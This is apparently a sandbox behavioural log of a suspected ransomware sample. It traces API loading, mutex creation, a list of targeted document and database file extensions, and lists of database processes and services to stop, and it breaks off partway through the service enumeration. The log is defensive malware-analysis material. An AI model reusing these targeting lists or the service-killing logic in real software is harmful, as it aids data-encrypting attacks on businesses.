# Flog Txt Version 1 # Analyzer Version: 3.2.1 # Analyzer Build Date: Feb 5 2020 10:35:20 # Log Creation Date: 13.02.2020 00:39:40.564 Process: id = "1" image_name = "dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" filename = "c:\\users\\fd1hvy\\desktop\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" page_root = "0x9d09000" os_pid = "0x118c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x7d0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x1188 [0044.711] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76750000 [0044.711] GetProcAddress (hModule=0x76750000, lpProcName="GetProcAddress") returned 0x767651b0 [0044.711] GetProcAddress (hModule=0x76750000, lpProcName="GetModuleHandleW") returned 0x767650d0 [0044.711] GetProcAddress (hModule=0x76750000, lpProcName="FindNextFileW") returned 0x767bee40 [0044.711] GetProcAddress (hModule=0x76750000, lpProcName="FindClose") returned 0x767bed70 [0044.711] GetProcAddress (hModule=0x76750000, lpProcName="MoveFileW") returned 0x7679e500 [0044.711] GetProcAddress (hModule=0x76750000, lpProcName="GetFileSizeEx") returned 0x767bef40 [0044.711] GetProcAddress (hModule=0x76750000, lpProcName="GetModuleFileNameW") returned 0x76765090 [0044.711] GetProcAddress (hModule=0x76750000, lpProcName="GetFileAttributesW") returned 0x767bef10 [0044.711] GetProcAddress (hModule=0x76750000, lpProcName="ExitProcess") returned 0x76763cb0 [0044.711] GetProcAddress (hModule=0x76750000, lpProcName="GetCommandLineW") returned 0x76764cc0 [0044.711] GetProcAddress (hModule=0x76750000, lpProcName="GetComputerNameW") returned 0x767932c0 [0044.711] GetProcAddress (hModule=0x76750000, lpProcName="GetComputerNameA") returned 0x76793780 [0044.711] GetProcAddress (hModule=0x76750000, lpProcName="CreateMutexW") returned 0x767beb70 [0044.711] GetProcAddress (hModule=0x76750000, lpProcName="lstrlenW") returned 0x76766c70 [0044.711] GetProcAddress (hModule=0x76750000, lpProcName="lstrlenA") returned 0x76766c50 [0044.711] GetProcAddress (hModule=0x76750000, lpProcName="GetCurrentProcess") returned 0x767bea10 [0044.712] GetProcAddress (hModule=0x76750000, lpProcName="WaitForSingleObject") returned 0x767beca0 [0044.712] GetProcAddress (hModule=0x76750000, lpProcName="GetLogicalDrives") returned 0x76760d20 [0044.712] GetProcAddress (hModule=0x76750000, lpProcName="GetTickCount") returned 0x767bdd50 [0044.712] GetProcAddress (hModule=0x76750000, lpProcName="DeleteFileW") returned 0x767bed40 [0044.712] GetProcAddress (hModule=0x76750000, lpProcName="WideCharToMultiByte") returned 0x76766b10 [0044.712] GetProcAddress (hModule=0x76750000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x767bebb0 [0044.712] GetProcAddress (hModule=0x76750000, lpProcName="Sleep") returned 0x76766760 [0044.712] GetProcAddress (hModule=0x76750000, lpProcName="LeaveCriticalSection") returned 0x7789b250 [0044.712] GetProcAddress (hModule=0x76750000, lpProcName="ReadFile") returned 0x767bf090 [0044.712] GetProcAddress (hModule=0x76750000, lpProcName="CreateFileW") returned 0x767bed10 [0044.712] GetProcAddress (hModule=0x76750000, lpProcName="OpenMutexW") returned 0x767bebf0 [0044.712] GetProcAddress (hModule=0x76750000, lpProcName="EnterCriticalSection") returned 0x7789b2d0 [0044.712] GetProcAddress (hModule=0x76750000, lpProcName="WaitForMultipleObjects") returned 0x767bec80 [0044.712] GetProcAddress (hModule=0x76750000, lpProcName="lstrcmpiW") returned 0x76766bf0 [0044.712] GetProcAddress (hModule=0x76750000, lpProcName="lstrcmpiA") returned 0x76766bd0 [0044.712] GetProcAddress (hModule=0x76750000, lpProcName="DeleteCriticalSection") returned 0x7787fb90 [0044.712] GetProcAddress (hModule=0x76750000, lpProcName="ReleaseMutex") returned 0x767bec20 [0044.712] GetProcAddress (hModule=0x76750000, lpProcName="CloseHandle") returned 0x767beab0 [0044.712] GetProcAddress (hModule=0x76750000, lpProcName="GetVersion") returned 0x767656c0 [0044.713] GetProcAddress (hModule=0x76750000, lpProcName="CreateThread") returned 0x767646b0 [0044.713] GetProcAddress (hModule=0x76750000, lpProcName="ExpandEnvironmentStringsW") returned 0x76764a40 [0044.713] GetProcAddress (hModule=0x76750000, lpProcName="QueryPerformanceCounter") returned 0x76765da0 [0044.713] GetProcAddress (hModule=0x76750000, lpProcName="QueryPerformanceFrequency") returned 0x76765dc0 [0044.713] GetProcAddress (hModule=0x76750000, lpProcName="GetCurrentProcessId") returned 0x767bea20 [0044.713] GetProcAddress (hModule=0x76750000, lpProcName="SetFileAttributesW") returned 0x767bf100 [0044.713] GetProcAddress (hModule=0x76750000, lpProcName="GetVolumeInformationW") returned 0x767bf020 [0044.713] GetProcAddress (hModule=0x76750000, lpProcName="WriteFile") returned 0x767bf180 [0044.713] GetProcAddress (hModule=0x76750000, lpProcName="SetFilePointerEx") returned 0x767bf130 [0044.713] GetProcAddress (hModule=0x76750000, lpProcName="SetEndOfFile") returned 0x767bf0e0 [0044.713] GetProcAddress (hModule=0x76750000, lpProcName="FindFirstFileW") returned 0x767bedf0 [0044.713] GetProcAddress (hModule=0x76750000, lpProcName="GetProcessHeap") returned 0x767651f0 [0044.713] GetProcAddress (hModule=0x76750000, lpProcName="HeapReAlloc") returned 0x7788f630 [0044.713] GetProcAddress (hModule=0x76750000, lpProcName="HeapAlloc") returned 0x77892dc0 [0044.713] GetProcAddress (hModule=0x76750000, lpProcName="HeapFree") returned 0x767657f0 [0044.713] GetProcAddress (hModule=0x76750000, lpProcName="CreatePipe") returned 0x76764590 [0044.713] GetProcAddress (hModule=0x76750000, lpProcName="SetHandleInformation") returned 0x767beae0 [0044.713] GetProcAddress (hModule=0x76750000, lpProcName="CreateProcessW") returned 0x76764610 [0044.713] GetProcAddress (hModule=0x76750000, lpProcName="CompareStringW") returned 0x76764430 [0044.713] GetProcAddress (hModule=0x76750000, lpProcName="CompareStringA") returned 0x76764410 [0044.714] GetProcAddress (hModule=0x76750000, lpProcName="OpenProcess") returned 0x76765cc0 [0044.714] GetProcAddress (hModule=0x76750000, lpProcName="TerminateProcess") returned 0x767667e0 [0044.714] GetProcAddress (hModule=0x76750000, lpProcName="GetSystemTime") returned 0x767654e0 [0044.714] GetProcAddress (hModule=0x76750000, lpProcName="SystemTimeToFileTime") returned 0x767667a0 [0044.714] GetProcAddress (hModule=0x76750000, lpProcName="GetLastError") returned 0x76765010 [0044.714] GetProcAddress (hModule=0x76750000, lpProcName="CreateToolhelp32Snapshot") returned 0x7679edc0 [0044.714] GetProcAddress (hModule=0x76750000, lpProcName="Process32NextW") returned 0x7679f8f0 [0044.714] GetProcAddress (hModule=0x76750000, lpProcName="Process32FirstW") returned 0x7679f750 [0044.714] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76390000 [0047.609] GetProcAddress (hModule=0x76390000, lpProcName="RegOpenKeyExW") returned 0x763ae580 [0047.609] GetProcAddress (hModule=0x76390000, lpProcName="RegQueryValueExW") returned 0x763ae5a0 [0047.609] GetProcAddress (hModule=0x76390000, lpProcName="RegSetValueExW") returned 0x763af530 [0047.609] GetProcAddress (hModule=0x76390000, lpProcName="RegCloseKey") returned 0x763aed60 [0047.609] GetProcAddress (hModule=0x76390000, lpProcName="OpenProcessToken") returned 0x763aefb0 [0047.610] GetProcAddress (hModule=0x76390000, lpProcName="GetTokenInformation") returned 0x763aee90 [0047.610] GetProcAddress (hModule=0x76390000, lpProcName="OpenSCManagerW") returned 0x763b0540 [0047.610] GetProcAddress (hModule=0x76390000, lpProcName="OpenServiceW") returned 0x763afa20 [0047.610] GetProcAddress (hModule=0x76390000, lpProcName="CloseServiceHandle") returned 0x763afc00 [0047.610] GetProcAddress (hModule=0x76390000, lpProcName="ControlService") returned 0x763c26d0 [0047.610] GetProcAddress (hModule=0x76390000, lpProcName="QueryServiceStatus") returned 0x763b2380 [0047.610] GetProcAddress (hModule=0x76390000, lpProcName="EnumDependentServicesW") returned 0x763c2f70 [0047.610] GetProcAddress (hModule=0x76390000, lpProcName="EnumServicesStatusExW") returned 0x763afc80 [0047.610] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76240000 [0051.030] GetProcAddress (hModule=0x76240000, lpProcName="SystemParametersInfoW") returned 0x7626f210 [0051.030] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x74e50000 [0057.878] GetProcAddress (hModule=0x74e50000, lpProcName="ShellExecuteExW") returned 0x74fb4730 [0057.878] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77850000 [0057.878] GetProcAddress (hModule=0x77850000, lpProcName="NtQuerySystemInformation") returned 0x778c2070 [0057.878] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x741a0000 [0058.089] GetProcAddress (hModule=0x741a0000, lpProcName="WNetCloseEnum") returned 0x741a2640 [0058.089] GetProcAddress (hModule=0x741a0000, lpProcName="WNetOpenEnumW") returned 0x741a2790 [0058.089] GetProcAddress (hModule=0x741a0000, lpProcName="WNetEnumResourceW") returned 0x741a2410 [0058.089] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x768b0000 [0058.620] GetProcAddress (hModule=0x768b0000, lpProcName="WSAStartup") returned 0x768b5b40 [0058.621] GetProcAddress (hModule=0x768b0000, lpProcName="socket") returned 0x768c4510 [0058.621] GetProcAddress (hModule=0x768b0000, lpProcName="send") returned 0x768b5030 [0058.621] GetProcAddress (hModule=0x768b0000, lpProcName="recv") returned 0x768c0c50 [0058.621] GetProcAddress (hModule=0x768b0000, lpProcName="connect") returned 0x768b5410 [0058.621] GetProcAddress (hModule=0x768b0000, lpProcName="closesocket") returned 0x768c0910 [0058.621] GetProcAddress (hModule=0x768b0000, lpProcName="gethostbyname") returned 0x768e6cb0 [0058.621] GetProcAddress (hModule=0x768b0000, lpProcName="inet_addr") returned 0x768c9160 [0058.621] GetProcAddress (hModule=0x768b0000, lpProcName="ntohl") returned 0x768b49d0 [0058.621] GetProcAddress (hModule=0x768b0000, lpProcName="htonl") returned 0x768b49d0 [0058.622] GetProcAddress (hModule=0x768b0000, lpProcName="htons") returned 0x768c8ff0 [0058.622] GetProcessHeap () returned 0x490000 [0058.622] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x20) returned 0x49b160 [0058.622] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=15205970467) returned 1 [0058.622] GetTickCount () returned 0x114fa4f [0058.622] GetCurrentProcessId () returned 0x118c [0058.623] GetTickCount () returned 0x114fa4f [0058.623] GetTickCount () returned 0x114fa4f [0058.623] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x20) returned 0x49b188 [0058.623] GetVersion () returned 0x23f00206 [0058.623] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x7) returned 0x4a6ed8 [0058.623] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4a76d0 [0058.623] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a76d0, Size=0x20) returned 0x49adf0 [0058.623] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x49adf0, Size=0x40) returned 0x4aa138 [0058.623] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x4ae820 [0058.623] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_QVW9W0A") returned 0x0 [0058.624] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_QVW9W0A") returned 0x1ec [0058.624] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a6ed8 | out: hHeap=0x490000) returned 1 [0058.624] lstrlenW (lpString="Global\\syncronize_") returned 18 [0058.624] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4aa138 | out: hHeap=0x490000) returned 1 [0058.624] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x7) returned 0x4a6ed8 [0058.624] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4a7880 [0058.624] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a7880, Size=0x20) returned 0x49adf0 [0058.624] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x49adf0, Size=0x40) returned 0x4aa210 [0058.624] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x4be828 [0058.624] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_QVW9W0U") returned 0x0 [0058.624] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_QVW9W0U") returned 0x1f0 [0058.624] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a6ed8 | out: hHeap=0x490000) returned 1 [0058.624] lstrlenW (lpString="Global\\syncronize_") returned 18 [0058.624] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4aa210 | out: hHeap=0x490000) returned 1 [0058.624] GetVersion () returned 0x23f00206 [0058.624] GetCurrentProcess () returned 0xffffffff [0058.625] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0058.625] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0058.625] CloseHandle (hObject=0x1f4) returned 1 [0058.625] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0058.625] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0 [0058.625] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x14) returned 0x4a60f8 [0058.625] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4a7808 [0058.625] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a7808, Size=0x20) returned 0x49adf0 [0058.625] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x49adf0, Size=0x40) returned 0x4aa690 [0058.625] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa690, Size=0x80) returned 0x4a1e48 [0058.625] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a1e48, Size=0x100) returned 0x4a7410 [0058.625] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x34) returned 0x4a9858 [0058.625] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4a6ed8 [0058.625] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4a6f18 [0058.625] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4a6dd8 [0058.625] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4a75e0 [0058.625] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4a6d68 [0058.625] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a7808 [0058.625] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a6d68, Size=0x8) returned 0x4a6d78 [0058.625] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4a7820 [0058.625] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a6d78, Size=0x10) returned 0x4a7838 [0058.625] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a78b0 [0058.625] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a7850 [0058.625] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a7838, Size=0x20) returned 0x49adf0 [0058.625] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4a7658 [0058.625] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a76d0 [0058.625] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a6ed8, Size=0x8) returned 0x4a6d68 [0058.625] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a6f18, Size=0x8) returned 0x4a6ed8 [0058.625] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4a6f18 [0058.626] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4a7838 [0058.626] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4a6d78 [0058.626] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a7868 [0058.626] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a6d78, Size=0x8) returned 0x4a6d98 [0058.626] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a7880 [0058.626] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a6d98, Size=0x10) returned 0x4a7640 [0058.626] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a78e0 [0058.626] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4a6d78 [0058.626] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a7640, Size=0x20) returned 0x4cec48 [0058.626] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a6d68, Size=0x10) returned 0x4a7640 [0058.626] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a6ed8, Size=0x10) returned 0x4a78f8 [0058.626] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4a6ed8 [0058.626] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4a7910 [0058.626] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4a6d68 [0058.626] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a7940 [0058.626] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a6d68, Size=0x8) returned 0x4a6d98 [0058.626] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4a6d68 [0058.626] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4a7928 [0058.626] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4a6de8 [0058.626] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a7988 [0058.626] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a6de8, Size=0x8) returned 0x4cf2d8 [0058.626] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a7640, Size=0x20) returned 0x4cec98 [0058.626] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a78f8, Size=0x20) returned 0x4ce8d8 [0058.626] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cf3a8 [0058.626] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4a7958 [0058.626] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4cf348 [0058.626] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a78f8 [0058.626] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf348, Size=0x8) returned 0x4cf428 [0058.626] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x14) returned 0x4a6018 [0058.626] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x14) returned 0x4a6258 [0058.626] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0058.626] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a7410 | out: hHeap=0x490000) returned 1 [0058.627] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0058.631] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4a78c8 [0058.631] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a78c8, Size=0x20) returned 0x4cebf8 [0058.631] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cebf8, Size=0x40) returned 0x4aa2e8 [0058.631] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa2e8, Size=0x80) returned 0x4a7d78 [0058.631] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a7d78, Size=0x100) returned 0x4a7410 [0058.631] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4a78c8 [0058.631] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a78c8, Size=0x20) returned 0x4cea18 [0058.631] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cea18, Size=0x40) returned 0x4aa258 [0058.631] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa258, Size=0x80) returned 0x4a7d78 [0058.631] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a7d78, Size=0x100) returned 0x4a7bb0 [0058.631] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4a78c8 [0058.631] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4cf288 [0058.631] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4a7970 [0058.631] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf288, Size=0x8) returned 0x4cf3b8 [0058.631] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x14) returned 0x4a6318 [0058.631] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf3b8, Size=0x10) returned 0x4a7640 [0058.631] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x18) returned 0x4a5ff8 [0058.631] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1a) returned 0x4ce900 [0058.631] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a7640, Size=0x20) returned 0x4ce8b0 [0058.631] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1c) returned 0x4ce9f0 [0058.632] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x16) returned 0x4a6118 [0058.632] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1a) returned 0x4cea18 [0058.632] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4a7640 [0058.632] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4cf3b8 [0058.632] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40) returned 0x4aa210 [0058.632] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf3b8, Size=0x8) returned 0x4cf3c8 [0058.632] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x3c) returned 0x4aa060 [0058.632] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf3c8, Size=0x10) returned 0x4d4430 [0058.632] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x14) returned 0x4a6058 [0058.632] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x18) returned 0x4a62d8 [0058.632] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d4430, Size=0x20) returned 0x4ceb08 [0058.632] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x24) returned 0x4a5410 [0058.632] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0058.632] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a7410 | out: hHeap=0x490000) returned 1 [0058.632] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0058.632] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a7bb0 | out: hHeap=0x490000) returned 1 [0058.632] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4ce978 [0058.637] EnumServicesStatusExW (in: hSCManager=0x4ce978, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0058.639] GetLastError () returned 0xea [0058.640] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1ce8) returned 0x4d6758 [0058.640] EnumServicesStatusExW (in: hSCManager=0x4ce978, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4d6758, cbBufSize=0x1ce8, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4d6758, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0058.641] CloseServiceHandle (hSCObject=0x4ce978) returned 1 [0058.642] lstrlenW (lpString="Appinfo") returned 7 [0058.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0058.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0058.644] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0058.644] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0058.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0058.644] lstrlenW (lpString="AppXSvc") returned 7 [0058.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0058.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0058.644] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0058.644] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0058.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0058.646] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0058.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0058.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0058.646] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0058.646] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0058.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0058.646] lstrlenW (lpString="Audiosrv") returned 8 [0058.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0058.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0058.646] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0058.646] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0058.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0058.646] lstrlenW (lpString="BFE") returned 3 [0058.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0058.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0058.646] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0058.646] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0058.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0058.646] lstrlenW (lpString="BITS") returned 4 [0058.646] 